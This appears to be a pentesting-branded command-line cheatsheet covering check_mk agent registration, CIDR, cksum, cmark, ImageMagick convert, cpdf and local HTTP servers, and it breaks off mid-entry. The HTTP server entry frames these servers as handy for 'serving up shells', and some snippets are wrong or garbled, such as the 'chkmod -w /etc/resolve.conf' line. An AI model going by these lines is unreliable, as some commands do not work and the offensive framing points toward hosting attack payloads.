dpkg -i check-mk-agent_1.2.8p18_all.deb
cmk-update-agent register -vvv --secret SECRET
#####################

# check_mk
#################

ERROR Cannot fetch deployment URL via curl: Couldnt resolve host. The given remote host was not resolved.

[email protected] # /usr/bin/cmk-update-agent register -s monitor.lxu.io -i master -H `hostname` -p http -U omdadmin -S ASFKWEOUPPEFKG -v
# Here in this command:
			# -s is monitoring server
			# -i is Name of Check_MK site on that server
			# -H is Host name to fetch agent for
			# -p is protocol Either http or https (default is https)
			# -U  User-ID of a user who is allowed to download the agent.
			# -S is secret. Automation secret of that user (in case of automation user)
			# From error you can figure out that command is not able to resolve monitoring server DNS name monitor.lxu.io

# Solution :
# Its pretty simple. Check /etc/resolv.conf to make sure that you have proper DNS server entry for your environment. If it still dosnt resolve issue then you can add entry in /etc/hosts for it.

# cat /etc/hosts
10.0.10.9 monitor.lxu.io

				# Thats it. You would be able to register now successfully.

/usr/bin/cmk-update-agent register -s monitor.lxu.io -i master -H `hostname` -p http -U omdadmin -S ASFKWEUZOOSHEFKG -v
				# Going to register agent at deployment server
				# Successfully registered agent for deployment.
				# You can now update your agent by running 'cmk-update-agent -v'
				# Saved your registration settings to /etc/cmk-update-agent.state.
				# By the way you can directly use IP address for -s switch and get rid of all above jargon including error itself!


###############################

# check_snmp_env.pl 
/opt/omd/sites/nagios/local/lib/nagios/plugins

# Hier liegen die Perl Scripte der Checks  
/opt/omd/sites/nagios/etc/nagios/conf.d/config/generic

# domaincontroller: 
domaincontroller.lxu.io

#==============================##==============================#
# CMD AWK						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

14 - 🖥️chkmod

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the chkmod command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#   ██████╗██╗  ██╗██╗  ██╗███╗   ███╗ ██████╗ ██████╗ 
#  ██╔════╝██║  ██║██║ ██╔╝████╗ ████║██╔═══██╗██╔══██╗
#  ██║     ███████║█████╔╝ ██╔████╔██║██║   ██║██║  ██║
#  ██║     ██╔══██║██╔═██╗ ██║╚██╔╝██║██║   ██║██║  ██║
#  ╚██████╗██║  ██║██║  ██╗██║ ╚═╝ ██║╚██████╔╝██████╔╝
#   ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝     ╚═╝ ╚═════╝ ╚═════╝ 

# hardcode dnsserver, no more rewriting of etc/resolv.conf -> The while loop is an overkill, it would be simpler to prevent the file to be modified. That said, none of the proposed solutions are such: a real one would go to the source of the problem.
chkmod -w /etc/resolve.conf
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

15 - 🖥️cidr

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the cidr command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#   ██████╗██╗██████╗ ██████╗ 
#  ██╔════╝██║██╔══██╗██╔══██╗
#  ██║     ██║██║  ██║██████╔╝
#  ██║     ██║██║  ██║██╔══██╗
#  ╚██████╗██║██████╔╝██║  ██║
#   ╚═════╝╚═╝╚═════╝ ╚═╝  ╚═╝

# cidr - Classless Inter-Domain Routing

# Before CIDR and Variable Length Subnet Masks, IP addresses had fixed subnet masks
# Class C had a 24 bit prefix (/24), Class B had a 16 bit prefix (/16), and Class A had an 8 bit prefix (/8)

# Note: The prefix determines how many addresses are covered by the CIDR address. The prefix is the number of bits reserved for the network portion of the address

# An IP address consists of a host and a network portion
# The 32 bit string below represents a /16 network since 16 bits are dedicated to the network portion of the address
# Network bits / Host bits
11111111 11111111 / 00000000 00000000

# As an example, if we were to make a subnet with only 2 addresses on the 3.3.3.0 network, the network prefix would be /31
# If we view this in binary it would look like:
00000011.00000011.00000011.00000000 (3.3.3.0)

# The subnet mask then becomes
11111111.11111111.11111111.11111110 (/31)

# In the subnet mask above, only one bit is available for modification, so the only two available IP addresses would be: 
3.3.3.0 and 3.3.3.1

# 3.3.3.2 would represent the start of another subnet 
 
# If we changed the prefix to /30, the new IP address range would be
3.3.3.0 - 3.3.3.3
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

16 - 🖥️cksum

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the cksum command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                 ██████╗██╗  ██╗███████╗██╗   ██╗███╗   ███╗
#                ██╔════╝██║ ██╔╝██╔════╝██║   ██║████╗ ████║
#                ██║     █████╔╝ ███████╗██║   ██║██╔████╔██║
#                ██║     ██╔═██╗ ╚════██║██║   ██║██║╚██╔╝██║
#                ╚██████╗██║  ██╗███████║╚██████╔╝██║ ╚═╝ ██║
#                 ╚═════╝╚═╝  ╚═╝╚══════╝ ╚═════╝ ╚═╝     ╚═╝
                                                            
                                                           
Cksum

The cksum command prints the CRC checksum and byte count for the input file. 

cksum test.txt
3741370333 20 test.txt

#==============================##==============================#
# CMD cksum						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

17 - 🖥️cmark

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the cmark command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#   ██████╗███╗   ███╗ █████╗ ██████╗ ██╗  ██╗
#  ██╔════╝████╗ ████║██╔══██╗██╔══██╗██║ ██╔╝
#  ██║     ██╔████╔██║███████║██████╔╝█████╔╝ 
#  ██║     ██║╚██╔╝██║██╔══██║██╔══██╗██╔═██╗ 
#  ╚██████╗██║ ╚═╝ ██║██║  ██║██║  ██║██║  ██╗
#   ╚═════╝╚═╝     ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝

# Wrap and beautify markdown
cmark -t commonmark --width 81 in.md > out.md

# Markdown style output from tree
tree -F -L 2 | col -x | tr -d '│' | tr -d '├' | tr -d '└' | tr '─' '-' | cut -b 2- | sed 's/--/-/g' | sed '$d'
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

18 - 🖥️convert

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the convert command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                 ██████╗ ██████╗ ███╗   ██╗██╗   ██╗███████╗██████╗ ████████╗
#                ██╔════╝██╔═══██╗████╗  ██║██║   ██║██╔════╝██╔══██╗╚══██╔══╝
#                ██║     ██║   ██║██╔██╗ ██║██║   ██║█████╗  ██████╔╝   ██║   
#                ██║     ██║   ██║██║╚██╗██║╚██╗ ██╔╝██╔══╝  ██╔══██╗   ██║   
#                ╚██████╗╚██████╔╝██║ ╚████║ ╚████╔╝ ███████╗██║  ██║   ██║   
#                 ╚═════╝ ╚═════╝ ╚═╝  ╚═══╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝   ╚═╝   
                                                                             
                                                                             
                                                                            
# To resize an image to a fixed width and proportional height:
convert original-image.jpg -resize 100x converted-image.jpg

# To resize an image to a fixed height and proportional width:
convert original-image.jpg -resize x100 converted-image.jpg

# To resize an image to a fixed width and height:
convert original-image.jpg -resize 100x100 converted-image.jpg

# To resize an image and simultaneously change its file type:
convert original-image.jpg -resize 100x converted-image.png

# To resize all of the images within a directory:
# To implement a for loop:
for file in `ls original/image/path/`;
    do new_path=${file%.*};
    new_file=`basename $new_path`;
    convert $file -resize 150 conerted/image/path/$new_file.png;
done

# Make text annotatation (text = Flower)
convert flower.jpg -font courier -fill white -pointsize 20 -annotate +50+50 'Flower' flower_annotate1.jpg

# Crop an image
convert flower.jpg -crop 128×128+50+50 flower_crop.jpg

# Rotate an image
convert flower.jpg -rotate 45 flower_rotate45.jpg

# Add a border
convert -border 1x1 -bordercolor "#FFFFFF" image.png new-image.png

# Convert PNG to JPEG (with 70% quality)
convert -quality 70 image.png new_image.jpg

#==============================#
# CMD convert
#==============================##==============================#
convert -size 500x300 xc:white -fill xc:'#CABB1E' -draw "polygon 35,140 115,130 150,55 310,55 350,130 460,150 460,210 35,210" cabbie.png
#

convert +level-colors Firebrick, me.jpg oldme.jpg
# Mark Zuckerburg could've saved a billion if he knew about ImageMagick. (Instagram)

convert -size 1280x720 plasma:green-blue background.png
# Create a 1280x720 color plasma image. Different each time. Uses ImageMagick

convert -size 413x314 xc:tan -fill red -pointsize 200 -gravity center -draw "text 0,0 '3.14'" -flop pie.png
# Req. ImageMagick #pi #piday

convert -size 2420x1580 plasma:fractal -blur 2x2 -swirl 270 -crop 1920x1080+250+250 swirlbg.png 
# Swirly plasma background. Uses ImageMagick

scanimage --format=tiff --mode Color | convert tiff:- ~/Scans/$(date "+%Y-%m-%d_%H:%M:%S").jpg 
# Scan directly w/ cur date.

convert bluethumb.png -modulate 100,100,50 greenthumb.png 
# Change the hue of an image by -90 degrees. 50 = ( -90 * 100/180 ) + 100

##############
## Converting Images to Movie
###############################

# How to turn a series of numbered images into an mpeg or avi movie using free software This is mainly oriented towards Unix systems (MacOSX / Linux / Unix) but some things also work on Windows

# It is assumed that the image files are something like name001.jpg, name002.jpg, name003.jpg, etc. Here is a quick summary and links to fuller information: for more extensive discussion and other options see here, with specific information about using ffmpeg here and about ppmtompeg here.

#-----------------------------------------------------#
# Step 0: Getting the image files in the right format #
#-----------------------------------------------------#

# It may be necessary to convert your image files before encoding them. For example, mencoder seems to need jpgs. The most convenient command for this is "convert", part of the ImageMagick package that comes with most Linux distributions and for the Mac can be downloaded using fink.

# e.g., to convert a single ppm image to jpg:  
convert -quality 100 image123.ppm image123.jpg

# For a series of images, use something like:

for f in *.ppm; do convert -quality 100 $f  `basename $f .ppm`.jpg; done
# (if this does not work on the command line, put into an ascii file e.g., script then run  using 'sh script').

# Use 'convert'
#--------------------------#

# convert is part of the ImageMagick package, which comes with many Linux distributions. For Mac it can be downloaded using fink.
# mpeg: To convert images to an mpeg movie it is necessary to also install mpeg2encode, which is available from the same places (note, this may be in the 'unstable' branch of fink). To convert a series of numbered ppm files to an mpg movie:

convert -delay 6 -quality 95 test*ppm movie.mpg
#    -delay and -quality flags are optional. If -delay is set >4, it will add extra frames to make the movie run more slowly, thereby increasing the size of the file. The default quality is 75 and maximum is 100.

# animated gif: e.g.,

convert -delay 20 test*ppm movie.gif
# After this, the animated gif can be converted to mov format using quicktime pro.

convert -size 150x100 xc:white -fill red -draw 'circle 75,50 75,75' flagofjapan.png 
# Make the flag of Japan with ImageMagick.

convert 1.jpg <( curl http://wttr.in/Oymyakon_tqp0.png … ) -geometry +50+50 -composite 2.jpg
# How to add weather data to your photos

convert spin.gif -coalesce -gravity NorthEast -draw 'image over 0,0 0,0 "credit.png"' -layers Optimize spin2.gif 
# Add image to anim gif.

# append two imgaes horizontal
convert +append pic1.jpg pic2.jpg output.jpg 

#create ICO file with more than one image
# requires imagemagick. -background transparent is of course optional. for older version use:

convert image.png  -bordercolor white -border 0 \
      \( -clone 0 -resize 16x16 \) \
      \( -clone 0 -resize 32x32 \) \
      \( -clone 0 -resize 48x48 \) \
      \( -clone 0 -resize 64x64 \) \
      -delete 0 -alpha off -colors 256 favicon.ico

or
convert -resize x16 -gravity center -crop 16x16+0+0 input.png -flatten -colors 256 favicon.ico

convert -background transparent input.png -define icon:auto-resize=16,32,48,64,128 favicon.ico

# Celebrate Friday in style
T="It's Friday\!";a="-annotate +25+65";convert -size 420x100 xc:lightblue -font Candice -pointsize 72 -fill white -stroke black -strokewidth 15 $a "$T" -stroke white -strokewidth 10 $a "$T" -stroke black -strokewidth 5 $a "$T" -stroke none $a "$T" 

# How to create a favicon from an image - Here are all the available options for the imagemagick convert command. https://www.imagemagick.org/script/command-line-options.php
convert <your-image-here> -define icon:auto-resize=256,64,48,32,16 favicon.ico

convert -size 1920x1080 plasma:fractal background.png 
# Create an HD color plasma image. Different each time. Uses ImageMagick

convert +level-colors Firebrick, me.jpg oldme.jpg 
# Apply a moody color filter to your photo.

convert -evaluate-sequence Min $( for i in $( seq 34 7 99 ) ; do echo $i.png ; done ) every7th-frame.jpg 
# http://bit.ly/19pNPV9 

# Repeat the previous command but with a string replacement
^geomtry^geometry
# Explanation: This can be very useful for example after a mistyped command like this:
convert -crop 745x845+0+150 my_logo.png -geomtry 400x my_logo2.png
^geomtry^geometry
        # "-geomtry" should have been "-geometry", the one-liner above will re-run the command with a replacement that fixes the typo.

# Create a thumbnail from the first page of a PDF file
convert -thumbnail x80 file.pdf[0] thumb.png
# Explanation: 
    # convert is part of ImageMagick image manipulation tool
    # -thumbnail x80 means create a thumbnail image of height 80 pixels, the width will be automatically chosen to make the image proportional
    # The [0] is to create a thumbnail for the first page only, without that a thumbnail image would be created for each page in the pdf file
# To do this for all PDF files in a directory tree:
find /path/to/dir -name '*.pdf' -exec convert -thumbnail x80 {}[0] {}-thumb.png \;
# Limitations: Requires the ImageMagick image manipulation tool.

# Create a transparent image of given dimensions
convert -size 100x100 xc:none transparency.png
# Explanation: 
    # convert is a tool that's part of the ImageMagick image manipulation library
    # -size 100x100 specifies the dimensions of the image to create
    # xc:none is a symbolic source image, indicating to convert "from nothing"
    # transparency.png is the destination filename, the image format is automatically determined by the extension
# Limitations: Requires the ImageMagick image manipulation library.

# Take screenshots as needed by clicking on a window, then turn them into an animated gif with half-second frame lengths.
for i in {01..20}.png ; do scrot -s $i ; echo $i ; done ; convert -delay 50 {01..20}.png -layers Optimize anim.gif 

# chmod 777
convert -delay 100 0.png -delay 1 $(seq -f %g.png 1 3 119) -delay 200 120.png -delay 1 $(seq -f %g.png 119 -4 1) -layers optimize -loop 0 anim777.gif 

C="254,278" PP="30,362 212,44 350,287 272,287 212,187 70,430"; convert -size 500x500 xc:\#101 -alpha on -stroke green -strokewidth 2 -fill \#1C1 -draw "polygon $PP" -distort SRT "$C 120" -fill \#1A1 -draw "polygon $PP" -distort SRT "$C 120" -fill \#181 -draw "polygon $PP" mce.png

T="Text";a="-annotate +0+0";convert -size 420x300 -gravity center radial-gradient:white-purple -font FontName -pointsize 72 -fill yellow -stroke pink -strokewidth 15 $a "$T" -stroke yellow -strokewidth 10 $a "$T" -stroke orange -strokewidth 5 $a "$T" -stroke none $a "$T" file.png

n=0;p=3.14159;for i in {0..360};do x=$(bc -l <<<"150*$p*2/360)*$i)"|numround);y=$(bc -l <<<"150*$p*c(($p*2/360)*$i)"|numround);echo $x,$y;done|while read c;do f=$(printf "%03d" $n);convert -size 300x300 xc:black -stroke green -draw "line 150,150 $c" $f.gif;n=$[n+1];done # Radar

# numround isn't necessary
for i in {0..360}; do c=`bc -l <<< "scale=3;pi=4*a(1);t=$i*pi/180;x=150*(1+s(t));y=150*(1+c(t));print x,\",\",y"`; convert -size 300x300 xc:black -stroke green -draw "line 150,150 $c" `printf %03d $i`.gif; done 

# Concat jpgs into pdf – requires imagemajick
convert .jpg career-guide-private-equity.pdf

# Help your #Youtube videos standout in the crowd with these black thumbnails. Thanks Joshua ;) 
convert -size 192x108 xc:black blackthumbnail.png 

#==============================##==============================#
# CMD convert						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

19 - 🖥️cpdf

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the cpdf command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                 ██████╗██████╗ ██████╗ ███████╗
#                ██╔════╝██╔══██╗██╔══██╗██╔════╝
#                ██║     ██████╔╝██║  ██║█████╗  
#                ██║     ██╔═══╝ ██║  ██║██╔══╝  
#                ╚██████╗██║     ██████╔╝██║     
#                 ╚═════╝╚═╝     ╚═════╝ ╚═╝     
                                               

# Read in.pdf, select pages 1, 2, 3 and 6, and write those pages to
# out.pdf
cpdf in.pdf 1-3,6 -o out.pdf

# Select the even pages (2, 4, 6...) from in.pdf and write those pages
# to out.pdf
cpdf in.pdf even -o out.pdf

# Using AND to perform several operations in order, here merging two
# files together and adding a copyright stamp to every page.
cpdf -merge in.pdf in2.pdf AND -add-text "Copyright 2014" -o out.pdf

# Read control.txt and use its contents as the command line arguments
# for cpdf.
cpdf -control control.txt

# Merge in.pdf and in2.pdf into one document, writing to out.pdf.
cpdf -merge in.pdf in2.pdf -o out.pdf

# Split in.pdf into ten-page chunks, writing them to Chunk001.pdf,
# Chunk002.pdf etc
cpdf -split in.pdf -o Chunk%%%.pdf -chunk 10

# Split in.pdf on bookmark boundaries, writing each to a file whose
# name is the bookmark label
cpdf -split-bookmarks 0 in.pdf -o @N.pdf

# Scale both the dimensions and contents of in.pdf by a factor of two
# in x and y directions.
cpdf -scale-page "2 2" in.pdf -o out.pdf

# Scale the pages in in.pdf to fit the US Letter page size, writing to
# out.pdf
cpdf -scale-to-fit usletterportrait in.pdf -o out.pdf

# Shift the contents of the page by 26 pts in the x direction, and 18
# millimetres in the y direction, writing to out.pdf
cpdf -shift "26pt 18mm" in.pdf -o out.pdf

# Rotate the contents of the pages in in.pdf by ninety degrees and
# write to out.pdf.
cpdf -rotate-contents 90 in.pdf -o out.pdf

# Crop the pages in in.pdf to a 600 pts by 400 pts rectangle.
cpdf -crop "0 0 600pt 400pt" in.pdf -o out.pdf

# Encrypt using 128bit PDF encryption using the owner password 'fred'
# and the user password 'joe'
cpdf -encrypt 128bit fred joe in.pdf -o out.pdf

# Decrypt using the owner password, writing to out.pdf.
cpdf -decrypt in.pdf owner=fred -o out.pdf

# Compress the data streams in in.pdf, writing the result to out.pdf.
cpdf -compress in.pdf -o out.pdf

# Decompress the data streams in in.pdf, writing to out.pdf.
cpdf -decompress in.pdf -o out.pdf

# List the bookmarks in in.pdf. This would produce:
cpdf -list-bookmarks in.pdf

# Outputs:

# Add bookmarks in the same form from a prepared file bookmarks.txt to
# in.pdf, writing to out.pdf.
cpdf -add-bookmarks bookmarks.txt in.pdf -o out.pdf

# Use the Split style to build a presentation from the PDF in.pdf,
# each slide staying 10 seconds on screen unless manually advanced.
# The first page, being a title does not move on automatically, and
# has no transition effect.
cpdf -presentation in.pdf 2-end -trans Split -duration 10 -o out.pdf

# Stamp the file watermark.pdf on to each page of in.pdf, writing the
# result to out.pdf.
cpdf -stamp-on watermark.pdf in.pdf -o out.pdf

# Add a page number and date to all the pages in in.pdf using the
# Courier font, writing to out.pdf
cpdf -topleft 10 -font Courier -add-text "Page %Page\nDate %d-%m-%Y" in.pdf -o out.pdf

# Two up impose the file in.pdf, writing to out.pdf
cpdf -twoup-stack in.pdf -o out.pdf

# Add extra blank pages after pages one, three and four of a document.
cpdf -pad-after 1,3,4 in.pdf -o out.pdf

# List the annotations in a file in.pdf to standard output.
cpdf -list-annotations in.pdf

# Might Produce:

# -- # Annotation text content 1 # -- # -- # Annotation text content 2
# --

# Copy the annotations from from.pdf to in.pdf, writing to out.pdf.
cpdf -copy-annotations from.pdf in.pdf -o out.pdf

# Set the document title of in.pdf. writing to out.pdf.
cpdf -set-title "The New Title" in.pdf -o out.pdf

# Set the document in.pdf to open with the Acrobat Viewer's toolbar
# hidden, writing to out.pdf.
cpdf -hide-toolbar true in.pdf -o out.pdf

# Set the metadata in a PDF in.pdf to the contents of the file
# metadata.xml, and write the output to out.pdf.
cpdf -set-metadata metadata.xml in.pdf -o out.pdf

# Set the document in.pdf to open in Acrobat Viewer showing two
# columns of pages, starting on the right, putting the result in
# out.pdf.
cpdf -set-page-layout TwoColumnRight in.pdf -o out.pdf

# Set the document in.pdf to open in Acrobat Viewer in full screen
# mode, putting the result in out.pdf.
cpdf -set-page-mode FullScreen in.pdf -o out.pdf

# Attach the file sheet.xls to in.pdf, writing to out.pdf.
cpdf -attach-file sheet.xls in.pdf -o out.pdf

# Remove any attachments from in.pdf, writing to out.pdf.
cpdf -remove-files in.pdf -o out.pdf

# Blacken all the text in in.pdf, writing to out.pdf.
cpdf -blacktext in.pdf -o out.pdf

# Make sure all lines in in.pdf are at least 2 pts wide, writing to
# out.pdf.
cpdf -thinlines 2pt in.pdf -o out.pdf

#==============================##==============================#
# CMD cpdf						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

20 - 🖥️create_local_server

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the create_local_server command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#   ██████╗██████╗ ███████╗ █████╗ ████████╗███████╗        ██╗      ██████╗  ██████╗ █████╗ ██╗     
#  ██╔════╝██╔══██╗██╔════╝██╔══██╗╚══██╔══╝██╔════╝        ██║     ██╔═══██╗██╔════╝██╔══██╗██║     
#  ██║     ██████╔╝█████╗  ███████║   ██║   █████╗          ██║     ██║   ██║██║     ███████║██║     
#  ██║     ██╔══██╗██╔══╝  ██╔══██║   ██║   ██╔══╝          ██║     ██║   ██║██║     ██╔══██║██║     
#  ╚██████╗██║  ██║███████╗██║  ██║   ██║   ███████╗███████╗███████╗╚██████╔╝╚██████╗██║  ██║███████╗
#   ╚═════╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝   ╚═╝   ╚══════╝╚══════╝╚══════╝ ╚═════╝  ╚═════╝╚═╝  ╚═╝╚══════╝
#                                                                                                    
#             ███████╗███████╗██████╗ ██╗   ██╗███████╗██████╗                                  
#             ██╔════╝██╔════╝██╔══██╗██║   ██║██╔════╝██╔══██╗                                
#             ███████╗█████╗  ██████╔╝██║   ██║█████╗  ██████╔╝                                
#             ╚════██║██╔══╝  ██╔══██╗╚██╗ ██╔╝██╔══╝  ██╔══██╗                                   
#             ███████║███████╗██║  ██║ ╚████╔╝ ███████╗██║  ██║                                          
#            ╚══════╝╚══════╝╚═╝  ╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝                               

# Run a basic http server, great for serving up shells etc
python -m SimpleHTTPServer 8000

# Run a basic Python3 http server, great for serving up shells etc
python3 -m http.server

# Run a ruby webrick basic http server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"

# Run a basic PHP http server
